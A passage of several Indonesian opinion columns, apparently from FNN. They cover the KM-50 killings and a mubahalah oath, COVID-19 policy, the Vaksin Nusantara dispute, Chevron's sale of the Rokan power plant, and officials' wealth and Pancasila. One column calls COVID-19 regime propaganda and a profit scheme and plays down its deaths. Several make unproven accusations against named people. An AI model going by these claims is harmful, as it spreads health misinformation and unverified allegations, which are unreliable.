Humas Polda Metro Jaya Kombes Yusri Yunus, Briptu Fikri Ramadhan, Bripka Faisal Khasbi dan Bripka Adi Ismanto. Ketiga nama terakhir terlibat dalam peristiwa kilometer 50 tol Japek. Kelima nama pejabat dan anggota Polri yang disebut dalam tantangan mubahalah ini sesuai informasi publik yang beredar di media berdasar penjelasan Polri sendiri. Ternyata hingga waktu mubahalah berlangsung, TP3 tidak pernah menerima jawaban Polri, sehingga dianggap tidak berkenan hadir. Karena itu acara mubahalah berlangsung sepihak. Secara lengkap isi sumpah mubahalah yang telah dibacakan oleh Suhada (ayah dari Faiz Ahmad) mewakiil seluruh keluarga korban pembunuhan adalah sebagai berikut “demi Allah, Tuhan langit dan bumi, kami bersumpah bahwa kami keluarga Reza, Fais, Ambon, Andi, Lutfil, dan Kadhafi, enam Laskar FPI yg terbunuh di kilometer 50 Tol Cilampek, adalah benar dan meyakini bahwa anak-anak kami dari laskar FPI tersebut telah dianiaya dan dibunuh dengan zalim oleh oknum aparat negara. Kami meyakini bahwa polisi telah berdusta atas masalah pembunuhan tersebut”. “Karenanya ya Allah timpakanlah laknat dan azabMu kepada siapapun diantara kami yang berdusta dan timpakan juga laknat dan siksaMu, Ya Allah ke atas seluruh keluarganya. Jika pihak apparat negara yang benar menurut Allah SWT, Tuhan Yang Maha Esa, maka kami beserta keluarga dan keturunan kami akan dilaknat Allah SWT di dunia sampai akhirat”. “Tetapi jika Enam Laskar FPI tersebut yang benar dan pihak aparat negara yang telah bertindak sadis dan zalim menurut Allah SWT, Tuhan Yang Maha Esa, maka aparat negara beserta keluarga dan keturunan apparat negara akan dilaknat Allah SWT di dunia sampai akhirat”. Mubahalah berasal dari kata bahlah atau buhlah yang berarti kutukan atau laknat. Praktiknya, sumpah mubahalah dilakukan oleh dua pihak yang berperkara. Kedua pihak berdoa kepada agar Allah SWT menjatuhkan laknat kepada pihak yang mengingkari kebenaran (Quraish Shihab, Tafsir al-Mishbah Lentera Hati). Mubahalah dalam syariat Islam bertujuan untuk membenarkan suatu yang memang hak, dan menundukkan kebatilan. Dalam sistem hukum Indonesia memang tidak dikenal adanya sumpah mubahalah. Namun dalam hukum acara perdata dikenal adanya sumpah pemutus, yaitu sumpah yang oleh pihak yang satu (boleh penggugat atau tergugat) diperintahkan kepada pihak yang lain untuk menggantungkan pemutusan perkara atas pengucapan atau pengangkatan sumpah. Sumpah pemutus bersifat menentukan (decisoir) dan berfungsi sebagai alat bukti. Sumpah ini dilakukan jika sudah tidak ada saksi atau bukti lain selain pengakuan benar dari kedua belah pihak ketika diketahui oleh persidangan hanya salah satu yang benar (Pasal 1929 KUH Perdata). Dalam penanganan perkara pembunuhan enam WNI di kilometer 50 tol Japek, aparat penegak hukum, Komnas HAM dan pemerintah menunjukan sikap yang unwilling and unable (tidak bersedia dan tidak mampu) mengungkap alat-alat bukti dan saksi pembunuh secara sah dan transparan. Bagi TP3 dan banyak akademisi, kasus ini bukanlah kasus pelanggaran HAM biasa, tetapi merupakan pelanggaran HAM berat. Menurut UU No. 26 Tahun 2000, karena terjadi Pelanggaran HAM Berat, Polri tidak berhak melakukan penyelidikan. Sedangkan Komnas HAM pun bukan pula lembaga yang berwenang menyidik. Wewenang penyidikan ada di tangan Kejaksaan Agung. Setelah mengamati penanganan kasus ini sejak Desember 2020, TP3 tidak melihat upaya sungguh-sungguh dari lembaga terkait dan pemerintah menuntaskan kasus ini secara objektif, transparan, serta sesuai hukum dan keadilan. Polri ikut menyelidik, padahal Polri mengakui aparatnya terlibat dalam kasus. Komnas menggiring opini agar kasus ini dianggap sebagai pelanggaran HAM biasa. Komnas HAM hanya mengatakan telah terjadi unlawful killing. TP3 menilai tampaknya kebenaran hanya berasal dari Polri dan Komnas HAM yang harus diterima rakyat. Dalam kondisi keluarga korban yang tidak berdaya dan hampir tanpa harapan agar kasus putra-putranya dapat dituntaskan sesuai hukum yang berlaku, maka merupakan hal yang wajar jika mereka mengusung Sumpah Mubahalah. Kondisi dan harapan mereka sangat dirasakan oleh TP3. Atas dasar pula, sehingga TP3 mendukung dan memfasilitasi acara mubalah tersebut. Mubahalah adalah salah satu ajaran yang diatur dalam Islam. Mubahalah dilakukan untuk kepentingan agama yang fundamental, yakni menyatakan kebenaran. Menjalankan perintah agama yang diyakini merupakan hak para keluarga korban yang dijamin Pancasila dan UUD 1945. Berangkat dari keyakinan dan ketaatan pada perintah agama itu, TP3 telah berulang kali menyatakan dukungan dan berjalan seiring dengan keluarga korban pembantaian kilometer 50 tol Japek untuk menuntut ditegakkannya kebenaran, hukum dan keadilan. Memasuki 2/3 Ramadhan ini, mari kita terus berdoa, semoga Allah menjatuhkan laknat kepada pihak yang mengingkari kebenaran dalam Sumpah Mubahalah. Semoga Allah meridhoi seluruh upaya kita. Semoga Allah mengabulkan do’a orang-orang yang dizalimi. Mengabulkan do’a para pendukung Petisi Rakyat Kasus Pembantaian Enam Pengawal HRS dan anak-anak bangsa yang bersimpati dengan upaya advokasi TP3 ini. Selebihnya, hanya kepada Allah Subhaanahu Wata’ala kita bertawakkal. Penulis adalah Juru Bicara Badan Pekerja TP3

Stop Tipu-Tipu Politik Atas Nama Covid-19

by Tarmidzi Yusuf Bandung FNN - Saya merupakan salah seorang dari ratusan juta ummat Islam Indonesia yang paling geram dengan politisasi covid-19. Betapa tidak, saat banyak masjid yang shaff shalat berjamaah berjarak dan tidak berkarpet dengan dalih melaksanakan protokol kesehatan. Nyatanya banyak pengurus masjid tertipu oleh raja tukang tipu. Shalat tarawih dipercepat dengan bacaan surat-surat pendek. Ta'lim atau kajian dilakukan secara online. Sempat dilarang pula atas nama radikal radikul radirel. Lebay dotcom banget. Sementara mall, pasar, terminal, stasiun, bandara bahkan pejabat negara tanpa risih mempertontonkan kerumunan. Beberapa bank plat merah antrian mengular sampai ke area parkir. Kerumunan bagi-bagi bantuan tunai kartu pra kerja. Modus investasi untuk 2024? Sekolah, madrasah dan pesantren ditutup. Belajar daring. Setahun lebih anak-anak kita dilakukan “pembodohan” massal dengan alasan covid-19. Mudik dilarang. Objek wisata dibuka. Aneh bin ajaib. Mana ada tempat wisata tanpa kerumunan. Ratusan, bahkan tenaga kesehatan, perawat dan dokter yang sudah menjadi korban. Sudah ratusan tenaga kesehatan yang meninggal. Tega sekali. HRS ditangkap, dipenjara dan diadili dengan pasal dan dakwaan berlapis. Lain halnya dengan kerumunan yang dihadiri oleh Jokowi. Dua kali kerumunan Jokowi di NTT, satu lagi kali di Kalimantan. Anehnya, Jokowi bebas-bebas saja dari jeratan hukum. Tanpa merasa bersalah lagi. Propaganda covid-19 telah menimbulkan penyakit baru, yaitu paranoid. Demam dikit, takut covid. Batuk-batuk dan sesak napas, takut covid. Lebih takut dengan covid daripada takut kepada Allah Subhanahu Wata'ala. Syirik besar itu namanya. Padahal, demam dan batuk itu penyakit populer. Patalnya lagi, menurut data per 20 April 2021 seperti dilansir CNN Indonesia, angka kematian covid-19 hanya 2,7% dari jumlah yang positif covid. Sedangkan 90,6% dinyatakan sembuh. Sisanya 6,7% dalam perawatan. Jumlah yang positif covid-19 sekitar 1.604.348 orang. Kalikan saja biaya rapid test Rp 250.000 dan ongkos vaksin Rp 300.000. Berapa? Triliunan. Belum termasuk APD, masker dan yang lainnya. Bisnis baru yang sangat fantastis dengan mengorbankan empat puluh ribu lebih orang yang meninggal. Bisnis menghalalkan segala cara. Yang mengejutkan lagi. Ternyata penyakit penyebab kematian tertinggi di Indonesia bukan karena covid-19. Nah lho. Menurut data dari Riset Kesehatan Dasar dan Kementerian Kesehatan, penyakit penyebab kematian tertinggi adalah hipertensi 34,1% atau sekitar 8 juta orang pada tahun 2018. Sementara yang meninggal karena covid hanya 2,7% atau 43.424 orang. Sedangkan menurut WHO, lima penyakit penyebab kematian paling tinggi di Indonesia adalah Stroke 21%, Ischemic Heart Disease 9%, Diabetes 7%, Lower Respiratory Infection 5% dan TB 4%. Kenapa angka kematian karena covid yang hanya 2,7%, tapi publik parnonya luar biasa. Propaganda rezim yang berhasil menakut-nakuti rakyat. Saban hari kita disuguhkan dengan data banyak yang terpapar dan meninggal karena covid. Sampai-sampai jenazah covid tidak boleh dilihat keluarga. Shalat jenazah dalam peti mati di area kuburan. Sekali lagi, hanya 2,7% penyebab kematian karena covid. Sekarang kasus covid di India sedang melonjak dijadikan alasan. Sampai kapan publik ditipu atas nama covid-19? Sampai Indonesia jadi bagian dari Indo China Raya? Penulis adalah Pegiat Da’wah dan Sosial.

Teater Politik Vaksin Nusantara

by Zainal Bintang Jakarta FNN - Menteri Kesehatan Budi Gunadi Sadikin bersama Kepala Badan Pengawas Obat dan Makanan (BPOM) Penny K. Lukito dan Kepala Staf TNI Angkatan Darat Jenderal TNI Andika Perkasa menyepakati riset berbasis pelayanan menggunakan sel dendritik untuk meningkatkan imunitas dari SARS-CoV-2 yang memicu Covid 19. Dengan demikian Uji klinik Vaksin Nusantara dihentikan. Kesepakatan ditanda tangani Senin (19/04/21) di Markas Besar TNI AD di Jalan Veteran, Jakarta Pusat. Disaksikan Menteri Koordinator Pembangunan Manusia dan Kebudayaan Muhajir Effendy. Penelitiannya dipusatkan di Rumah Sakit Pusat Angkatan Darat (RSPAD) Gatot Soebroto. Penelitian akan memedomani kaidah sesuai dengan ketentuan undang-undang dan juga bersifat autologus yang hanya dipergunakan untuk diri pasien sendiri. Sebelumnya, kalangan TNI menegaskan vaksin Nusantara bukanlah program TNI, kata Kapuspen TNI Mayjen TNI Achmad Riad pada jumpa pers di Mabes TNI, Cilangkap, Jakarta Timur , Senin (19/4/21). Dua keputusan besar dari markas besar TNI itu yang dikeluarkan pada hari yang sama, namun dari tempat yang berbeda, mengakhiri hidup vaksin Nusantara! Sejak awal TNI terlibat aktif dalam upaya penanganan Covid-19. Skenario Pelibatan Militer Secara teoritis, operasi selain perang merupakan pemanfaatan “kapasitas tak terpakai” (idle capacity) organisasi militer di masa damai. Secara umum, pelibatan TNI termasuk ke dalam mekanisme tugas perbantuan dalam kerangka OMSP (Operasi Militer Selain Perang). OMSP adalah serangkaian operasi militer di luar peperangan dalam skema perbantuan terhadap otoritas sipil berdasarkan kompleksitas ancaman yang diatur secara ketat melalui legislasi. Pelaksanaan OMSP merupakan respons organisasi militer terhadap situasi kritis atau darurat ketika otoritas sipil memiliki keterbatasan dalam penanganannya. Jagad politik Indonesia telah dihebohkan dengan narasi patriotisme Vaksin Nusantara. Sejumlah tokoh bersama anggota DPR rela menjadi relawan Vaksin Nusantara besutan mantan Menkes Terawan Agus Putranto. Proses pengambilan sampel darah dilakukan di RSPAD Gatot Soebroto, Rabu (14/04/21) itu, sifatnya bukanlah suntikan vaksin. Dari relawan tercatat nama Sufmi Dasco Ahmad (Wakil Ketua DPR RI), Melki Laka Lena, Saleh Daulay, Adian Napitupulu, Nihayatul Wafiroh. Arzetty Bilbina. Dalihnya atas nama kedaulatan kesehatan dan dukungan kepada karya anak bangsa. Mantan Panglima TNI Gatot Nurmantyo dan mantan Ketum Golkar, Aburizal Bakrie juga bergabung. Wakil rakyat dan tokoh bangsa itu mengaku mendukung proses pengadaan Vaksin Nusantara sebagai kebanggaan anak bangsa dan agar dapat berjalan lebih awal. Diharapkan kedaulatan dan kemandirian Indonesia dapat terjamin dalam bidang kesehatan dan pengobatan. Kesiapan produksi skala besar vaksin dalam negeri menjadi opsi, guna menunjang kesinambungan stok apabila terjadi embargo oleh negara produsen. Gejala embargo mulai terlihat ketika India menghentikan pengiriman vaksin AstraZeneca ke Indonesia. Vaksin produk India itu dikerjasamakan dengan The Global Alliance for Vaccines and Immunisation (GAVI). Indonesia rencananya akan mendapatkan vaksin AstraZeneca gratis sebanyak 54 juta dosis. Melonjaknya secara mendadak penularan Covid-19 secara drastis di India saat ini, menghambat pengiriman vaksin, karena akan diprioritaskan bagi warga India sendiri. Menurut Kepala Badan POM Penny K. Lukita, proses pembuatan Vaksin Nusantara belum memenuhi beberapa prosedur ilmiah yang diwajibkan dilakukan sesuai dengan kaidah saintifik yang mutlak sifatnya. Penny menilai banyak kelemahan pada pengembangan Vaksin Nusantara yang dibela DPR. Salah satunya adalah banyak komponennya yang masih impor dari Amerika Serikat. Semua komponen utama pembuatan vaksin dendritik diimpor dari Amerika. Seperti antigen, GMCSF (Granulocyte-Macrophage Colony-Stimulating Factor), medium pembuatan sel, dan alat-alat untuk persiapan. Transfer teknologi butuh waktu 2-5 tahun untuk mengembangkannya di Indonesia. Aivita Biomedical Inc belum memiliki sarana produksi untuk produk biologi. CEO Aivita Indonesia mengakui akan mengimpor obat-obatan sebelum produksi di Indonesia. Hasil uji klinis tahap I yang telah dilakukan kepada hewan di Amerika. Bukan dengan hewan Indonesia. Lagi pula, Vaksin Nusantara yang berbasis sel denritik hanya boleh disuntikkan kembali kepada pemilik darah itu sendiri. Tidak mudah menjadi vaksin massal karena memerlukan biaya prosesing yang sangat mahal. Data-data penelitian disimpan dan dilaporkan dalam Electronic Case Report Form (ECRF), dengan menggunakan sistem elektronik dengan nama redcap cloud yang dikembangkan Aivita Biomedical Inc. Servernya hanya tersimpan di Amerika. Kerahasiaan data dan transfer data keluar negeri tidak tertuang dalam perjanjian penelitian. Tidak ada perjanjian antara peneliti Indonesia dengan Aivita Biomedical Inc USA. Badan POM juga mencatat keterlibatan peneliti asing dalam riset Vaksin Nusantara, sehingga dalam dengar pendapat dengan Komnas Penilai Obat, ada banyak hal yang tidak bisa dijelaskan oleh peneliti utama dari Indonesia, demikian Penny K Lukito dalam rilisnya, Rabu (14/04/21). Melki Laka Lena mengeritik pernyataan Penny K Lukito yang tak mengizinkan uji klinis tahap II. Sebab menurut Melki, Penny telah membohongi publik dan peneliti dengan pernyataannya. Legislator dapil NTT itu menuduh Penny telah berdusta. Penny dituduh mendramatisasi seolah-olah Vaksin Nusantara berbahaya, dengan 71 persen dia gambarkan itu berisiko. Semua sudah dibahas di DPR RI dan tidak ada masalah, kata Melki Laka Lena dalam sebuah diskusi daring, Sabtu (17/04/21). Mengacu pada hasil kesimpulan rapat dengar pendapat (RDP) Komisi IX dengan Menteri Riset dan Teknologi/Kepala Badan Riset dan Inovasi Nasional (Menristek/BRIN) Bambang Brodjonegoro, dan Terawan, dan sejumlah peneliti pada Rabu (10/3) disimpulkan roleh rapat itu bahwa Badan POM diminta untuk segera mengeluarkan Persetujuan Pelaksanaan Uji Klinik (PPUK) uji klinis tahap II paling lambat 17 Maret 2021. ​Namun, manuver wakil rakyat dan tokoh nasional itu mendapat tantangan oleh 105 tokoh dari berbagai kalangan masyarakat sipil (civil society)). Termasuk mantan Wapres dan beberapa mantan menteri mengeluarkan pernyataan dan merebak di publik, Sabtu (17/04/21). Tercantum nama Boediono, Christine Hakim, Goenawan Mohamad serta dua orang putri almarhum Presiden Gus Dur. Ada juga mantan menteri Emil Salim, Sarwono Kusumatmaja berikut Lukman Hakim Saefuddin untuk menyebut beberapa nama beken Charles Honoris anggota DPR RI Komisi IX fraksi PDIP menegaskan tidak pernah ada rapat Komisi itu mendukung Vaksin Nusantara. Dampak dramatisasi Vaksin Nusantara itu melahirkan teater politik yang penuh sensasi. Menjadi pertanyaan publik, apa penyebab utama pemantik patriotisme anggota Komisi IX DPR membela vaksin Nusantara? Apakah ada kaitan memanasnya diskursus pengadaan vaksin itu dengan dana besar puluhan triliun itu? Menteri Keuangan Sri Mulyani Indrawati memastikan anggaran untuk pelaksanaan vaksinasi gratis tersedia dan akan menjadi anggaran belanja prioritas di tahun ini. Taksasi anggaran awal untuk program vaksinasi gratis sebesar Rp 73 triliun, kata Sri Mulyani dalam konperensi pers virtual, Rabu (06/01/21). Dalam acara Rosi Show di Kompas TV, Kamis malam (15/04/21), Rosi Silalahi berdiskusi dengan narasumber, diantaranya, Melki Laka Lena, bersama tiga pakar kesehatan, Ahmad Ruslan Utomo Ph.D dari Universitas Yarsi, Jakarta, Prof. Chairul Anwar Nidom dari Univeristas Airlangga dan Prof. Zubairi Djoerban, Ketua Satgas Covid 19 IDI. Menurut Rosi, anggota DPR RI yang ramai-ramai mempertontonkan keberpihakannya bukan contoh yang baik. Kepada Melki Laka Lena yang menjabat Wakil Ketua Komisi IX DPR, Pemimpin Redaksi Kompas TV tersebut menanyakan, apa motivasi anggota DPR RI ngotot mendukung Vaksin Nusantara? Tentang sainskah? Tentang bisnis besar puluhan triliun, duitkah? Atau ini tentang politikkah? Gonjang ganjing Vaksin Nusantara mengingatkan publik kepada cerita teater absurd “Menunggu Godot” (Waiting For Godot) karya Samuel Beckett (1952). Teater yang derjemahan oleh W.S. Rendra, yang sekaligus mementaskannya bersama “Bengkel Teater” Yogyakarta, di Taman Ismail Marzuki (TIM) Jakarta pada 1970. Kehadiran Godot adalah in- absentia, keberadaan dari ketiadaan. Dibicarakan terus menerus, namun ia pernah tidak muncul. Polusi absurditas sepertinya menjadi subur di dalam peradaban yang serba virtual di era new normal ini. Tumbangnya kubu pendukung Vaksin Nusantara yang didukung sejumlah politisi beken dari parpol papan atas, membantu menjelaskan di dalam tubuh masyarakat telah tumbuh sebuah imunitas non medis yang berhasil menumbangkan keangkuhan politis. Wartawan senior itu masih setia mengirim pesan WhatsApp, dan menulis begini, “Imunitas alamiah itu melahirkan kekebalan tubuh terhadap polusi politik yang menyesatkan”! Penulis adalah Wartawan Senior dan Pemerhati Masalah Sosial Budaya.

Chevron Licik, Mau Rampok Pertamina Rp 4,2 Triliun di Listrik

by Dr. Marwan Batubara Jakarta FNN - Presiden Jokowi dituntut segera membatalkan proses tender pembangkit listrik Rp 4,2 triliun milik Mandau Cipta Tenaga Nusantara (MCTN) yang sedianya akan digunakan untuk operasi Blok Rokan oleh Pertamina sejak 8 Agustus 2021. Penghentian ini harus segera dilakukan karena melanggar hukum. Berpotensi merugikan keuangan negara triliunan rupiah. Merendahkan kedaulatan NKRI di hadapan asing dan para oligarki pemburu rente. DPR dan KPK dituntut segera menyelidiki Chevron Pacifik Indonesia (CPI) dan Chevron Standard Ltd (CSL) atas sikap dan pelanggaran yang dilakukan. KPK juga perlu segera menyelidiki keterlibatan konspiratif oligarki dan oknum-oknum pemerintah pada lembaga terkait, terutama Kementrian Energi dan Sumberdaya Mineral (ESDM) dan Satuan Kerja Khusus (SKK) Migas, yang membiarkan proses tender yang melanggar hukum dan Kontrak KKS tetap berlangsung. Pengelolaan Blok Rokan akan beralih kepada Pertamina pada 8 Agustus 2021 nanti setelah dioperasikan CPI sejak 8 Agustus 1970. CPI (dulu bernama Caltex) telah menambang minyak di Blok Rokan (lapangan-lapangan Minas, Duri dan Bekasap) sejak 1924. Cadangan Blok Rokan saat ditemukan sekitar 6 miliar barel. Namun sebagian besar sudah terkuras. Untuk mengeluarkan minyak yang tersisa dari sumur-sumur perlu suntikan air atau uap (secondary recovery) atau zat kimia (tertiary recovery, EOR). Listrik adalah fasilitas utama untuk operasi lapangan dan penyuntikan uap ke sumur-sumur Blok Rokan. Untuk itu Blok Rokan ditopang Pembangkit Listrik Tenaga Gas (PLTG) North Duri Cogeneration (NDC) berkapasitas 300 Megawatt (MW), yang menghasilkan output berupa daya listrik 300 MW dan uap 3.140 MMBTU sekaligus. PLTG ini dikelola oleh MCTN dengan komposisi saham CSL sebesar 95% dan PT Nusa Galih Nusantara (NGN) sebesar 5%. CLS sendiri terafiliasi dengan Chevron Corporation. Belakangan diketahui, saat alih kelola Blok Rokan 8 Agustus 2021 yang akan datang, PLTG milik MCTN tidak termasuk bagian aset yang ditransfer dari CPI kepada Pertamina. Chevron tidak ingin mentransfer aset PLTG tersebut secara cuma-cuma dengan menyatakan bahwa aset tersebut tidak masuk dalam aset hulu migas yang dialih-kelola ke Pertamina. Karena itu CPI menyatakan berhak melelang pembangkit tersebut kepada penawar tertinggi. Padahal, jika pasokan listrik dan uap PLTG NDC tidak tersedia, maka produksi minyak Blok Rokan akan terhenti. Dengan asumsi rata-rata produksi Blok Rokan 165.000 barel per hari, harga crude rata-rata pada April 2021 USS 60 per barel dan kurs US$/Rp=14.000, maka potensi kehilangan penerimaan Pertamina sejak 8 Agustus 2021 mencapai Rp (165.000 x 60 x 14.000) = Rp 138,6 miliar per hari. Dalam tiga tahun penerimaan yang akan hilang sekitar Rp 5 triliun. PLN dan Pertamina Hulu Rokan (PHR) memang sudah menandatangani kontrak jual-beli listrik dan uap. Kontrak berjangka pendek selama masa transisi, dan berjangka panjang, setelah PLN selesai membangun jaringan transmisi penghubung ke sistem jaringan listrik Sumatera. Karena itu, selama masa transisi mau tidak mau PLTG yang dikelola MCTN harus tetap menyuplai listrik dan uap Blok Rokan, sampai PLN mampu menyuplai kebutuhan 3 tahun mendatang. Kasus listrik MCTN yang muncul saat alih-kelola dari CPI ke Pertamina tinggal beberapa bulan ini telah menyandera kelangsungan operasi Blok Rokan. Hal ini sekaligus akan mengancam pendapatan negara. Merugikan Pertamina dam menurunkan lifting nasional, sehingga dapat mengakibatkan peningkatan impor crude/BBM. Menambah defisit neraca perdagangan dan menurunkan kurs kupiah. Karena itu Pemerintah dituntut untuk segera bertindak membatalkan proses tender pembelian MTCN Blok Rokan dari Chevron. Patut diguga ada mafia yang ikut memainkan listrik Blok Rokan ini sejak awal, sehingga tidak dimamasukan dalam aset yang harus diserahkan Cheron kepada Pertamina. Ada unsur kesengajaan Untuk itu, kasus ini agar segera dibawa ke rana hukum, karena hal-hal berikut. Pertama, sarana listrik NDC milik MCTN telah dibayar oleh negara melalui mekanisme cost recovery. sehingga tidak ada alasan bagi Chevron atau MCTN mengklaim tetap memiliki aset negara tersebut. Apalagi, selama beroperasi, pembangkit NDC berada di atas tanah negara dan MCTN tidak pernah membayar biaya sewa sesuai perjanjian. Kedua, saat ini Chevron masih terikat kontrak PSC Blok Rokan dengan Pemerintah atau SKK Migas. Sehingga Chevron tidak berhak secara hukum mentenderkan PLTG NDC secara sepihak kepada pihak manapun tanpa persetujuan Pemerintah. Mengapa Pemerintah dan SKK diam saja? Dicurigai ada oknum penguasa atau pengurus partai yang terlibat perburuan rente listrik Blok Rokan. Ketiga, sesuai konstitusi, PLN merupakan pemegang hak monopoli penjualan listrik domestik. Karena itu tidak ada hak bagi perusahaan swasta untuk menyuplai listrik (dan uap) Blok Rokan, termasuk swasta calon pemenang tender. Mengundang swasta untuk mengikuti tender listrik MCTN pada dasarnya sudah merupakan pelanggaran hukum yang fatal. Keempat, seandainya lelang tetap terjadi, nilai tender pembangkit NDC sebesar US$ 300 juta (sekitar 4,2 triliun) ini sangat tidak wajar. Sebab saat dibangun nilai NDC hanya US$ 190 juta (sekitar Rp 2,66 triliun) dan pembangkit ini sudah beroperasi selama 20 tahun. Sehingga nilai bukunya saat ini hanya tinggal beberapa juta dollar saja. Kelima, Chevron sengaja tidak membangun pembangkit sendiri, tetapi membiarkan pembangunan oleh perusahaan terafiliasi CPI, yakni MCTN. Sehingga hal ini memudahkan terjadinya transfer pricing guna memperoleh keuntungan besar. Tagihan listrik dari MCTN ke Chevron dapat mencapai US$ 80 juta per tahun. Negara telah dikadali dan dirugikan. Keenam, tender listrik MCTN sengaja dilakukan last minute, menjelang saat alih-kelola terjadi. Hal ini menunjukkan adanya iktikad buruk dari Chevron perburuan rente ditengah ketidak-berdayaan Pertamina untuk tetap mempertahankan produski migas Rokan. Prilaku yang sarat moral hazard ini merupakan pelecehan terhadap kedaulatan negara dan martabat bangsa. Ketujuh, proses tender berlangsung tertutup. Sarat konspiratif dan ditutup-tutupi guna memperoleh penawaran tinggi. Sementara itu, lembaga-lembaga terkait, terutama KESDM dan SKK Migas, tidak menjalankan tugas dan fungsi pengendalian dan pengawasan sesuai aturan, sehingga tender pembangkit NDC tetap berlangsung. Sikap pembiaran yang melanggar hukum ini perlu diselidiki dan diusut DPR dan KPK. Hal ini akan dibahas dalam tulisan terpisah. Memperhatikan hal-hal di atas, IRESS kembali mengingatkan dan menuntut Pemerintah, terutama Presiden Jokowi, untuk segera membatalkan proses tender PLTG milik Chevron MCTN. Karena melecehkan kedaulatan, merugikan keuangan BUMN/negara dan mengancam lifting nasional yang berujung pada defisit neraca perdagangan dan gangguan ekonomi nasional. Untuk itu, proses tender PLTG MDC yang sedang berlangsung saat ini harus dinyatakan tidak berlaku. Selain itu Presiden dituntut menjamin alih-kelola Blok Rokan dari CPI ke Pertamina secara mulus, lancar dan prudent. Termasuk menjamin penyerahan PLTG NDC dari MCTN kepada PLN secara cuma-cuma sesuai aturan berlaku. Alih-kelola harus bebas dari intervensi oknum-oknum pejabat Kemnetrian ESDM dan SKK Migas, serta oknum-oknum Partai Politik yang terlibat perburuan rente yang merugikan negara. Pemerintah pun harus bersikap tegas menghadapi setiap upaya licik, culas dan picik oligarki, termasuk pihak asing untuk memanfaatkan situasi ketidak-berdayaan BUMN (Pertamina dan PLN). Mereka berdalih atas nama mempertahankan lifting migas. Padahal misi utama berburu rente. Penulis adalah Dikrektur Eksekutif IRESS.

Apakah Mereka Masih Memikirkan Pancasila

TINDAKAN Menteri Pendidikan dan Kebudayaan Nadiem Makarim menghapus Pancasila dari kurikulum pendidikan menengah dan tinggi, memunculkan kembali pertanyaan apakah Pancasila itu tidak sekadar basa-basi saja. Masih adakah pejabat tinggi negara yang sungguh-sungguh memikirkan nilai-nilai Pancasila? Apakah para elite kekuasaan (eksekutif, legislatif, yudikatif) memiliki kepedulian pada Pancasila? Apakah mereka itu hidup dengan landasan Pancasila? Apakah Presiden Jokowi bisa disebut seorang pancasilais? Apakah Megawati Soekarnoputri bisa dikatakan penegak nilai-nilai Pancasila? Apakah elit politik lainnya yang selama ini mengaku berpancasila bisa dipercaya? Apakah elit bisnis, khususnya para taipan, memahami Pancasila dan menerapkannya? Banyak sekali pertanyaan tentang Pancasila itu. Semua indikator empiris menunjuk ke jawaban negatif untuk semua pertanyaan di atas. Tidak, tidak, tidak! Kalau Jokowi menjalankan kekuasaan sesuai dengan nilai-nilai Pancasila, pastilah dengan cepat dia memerintahkan penyelesaian yang adil dan transparan kasus pembunuhan sadis KM-50. Tidak boleh ada yang ditutup-tutupi. Semua yang terlibat pembunuhan itu harus dihukum dengan asas keadilan. Itulah pancasilais. Adil itu perintah Tuhan. Pancasila itu intinya Ketuhanan. Nah, dalam hal KM-50, apakah Jokowi menegakkan keadilan yang dituntut oleh Pancasila? Seterusnya, kalaulah Jokowi itu menegakkan Pancasila tentu dia akan melawan kekuatan para taipan yang hanya memikirkan penumpukan kekayaan pribadi dengan segala cara. Yang terjadi, jangankan melawan kekuatan oligarkhi taipan, Presiden Jokowi malah memberikan keleluasaan kepada mereka untuk menguras Indonesia. Kekayaan negara ini mereka tumpuk di luar negeri. Jokowi pasti tahu itu. Dia punya mata dan telinga yang banyak untuk mengetahui kelakuan para taipan. Tetapi, Jokowi tidak melakukan apa-apa. Apakah ini bisa disebut pancasilais? Kalau Jokowi berpegang pada Pancasila, maka dia akan menghentikan semua kebijakan pemerintah yang menyusahkan rakyat kecil. Yang menyusahkan petani, nelayan, pedagang asongan. Tapi, Jokowi menjalankan kebijakan yang mematikan petani melalui impor beras dan produk pertanian lainnya. Lantas, bagaimana dengan Megawati? Pancasilaiskah dia? Malah lebih parah. Mega dan PDIP mengagendakan penghapusan Pancasila menjadi satu sila: yaitu gotong royong. Dia tidak suka konsep Ketuhanan Yang Maha Esa. Megawati juga bukan orang yang suka bermusyawarah kecuali untuk tujuan kamuflase. Dia menjalankan kekuasaan otoriter di tubuh PDIP. Kemudian, dari segi harta kekayaan, Mega pun tak cocok disebut hidup pancasilais. Definisinya? Memang tidak ada. Namun, lebih kurang hidup pancasilais selalu berkonotasi sederhana dan tidak menumpuk harta. Menurut Laporan Harta Kekayaan Penyelenggara Negara (LHKPN) yang disampaikan Megawati ke KPK (Komisi Pemberantasan Korupsi) pada 12 Sepember 2019, kekayaan (termasuk aset) Ketum PDIP itu tercatat sebesar Rp 213 miliar. Ada 29 bidang tanah dan bangunan milik Megawati. Nilai totalnya Rp 201 miliar. Nah, bagaimana cara mencocokkan pemilikan 29 properti dengan nilai-nilai Pancasila? Kita teruskan dengan Puan Maharani (Ketua DPR RI). Berdasarkan LHKPN 2018, Puan memiliki total kekayaan Rp 363 miliar. Ini termasuk 74 bidang tanah dan bangunan. Banyak sekali. Pada 2014, LHKPN Puan hanya Rp 162 miliar. Jadi, ada penambahan Rp 201 miliar dalam 5 tahun. Bertambah Rp 40 miliar per tahun. Pantaskah disebut pancasilais? Anda nilai sendiri saja. Memang kekayaan yang besar belum tentu tidak pancasilais. Tapi, lagi-lagi, repot untuk mencocokkan pemilikan 74 bidang tanah dengan nilai-nilai luhur Pancasila yang antara lain mengajarkan kesederhanaan, keadilan, dan kepedulian. Pada 2018, Ketua MPR Bambang Soesatyo melaporakn harta sebesar Rp 98 miliar. Dalam bentuk tanah dan bangunan bernilai Rp 71 miliar. Bamsoet punya hobi mengoleksi mobil mahal. Pancasilais? Ketua Dewan Pertimbangan Presiden (Wantimpres) Wiranto punya total kekayaan sebesar Rp 542 miliar. Ini menurut LHKPN 2018, ketika dia dilantik menjadi Ketua Wantimpres (Dewan Pertimbangan Presiden). Ada 56 aset tanah-bangunan senilai Rp 276 miliar di Jakarta, Banten, Jawa Barat dan Gorontalo. Uang tunai Wiranto ada Rp 114 miliar sesuai laporan. Pertambahan kekayaan Wiranto sangat fantastik. Pada 2004, ketika ikut Pilpres, mantan panglima ABRI ini melaporkan kekayaan hanya Rp 46 miliar. Jadi, dalam 15 tahun, Wiranto menambah kekayaan hampir Rp 500 miliar. Pancasilais? Mantan Wapres Jusuf Kalla (JK) melaporkan kekayaan sebesar Rp 900 miliar pada 2019. Beliau adalah seorang pengusaha sebelum menjadi petinggi pemerintahan. Mungking tidak terlalu mengherankan dia kaya. Sepanjang semua itu diperoleh dengan cara yang bersih. Tapi, banyak orang percaya JK 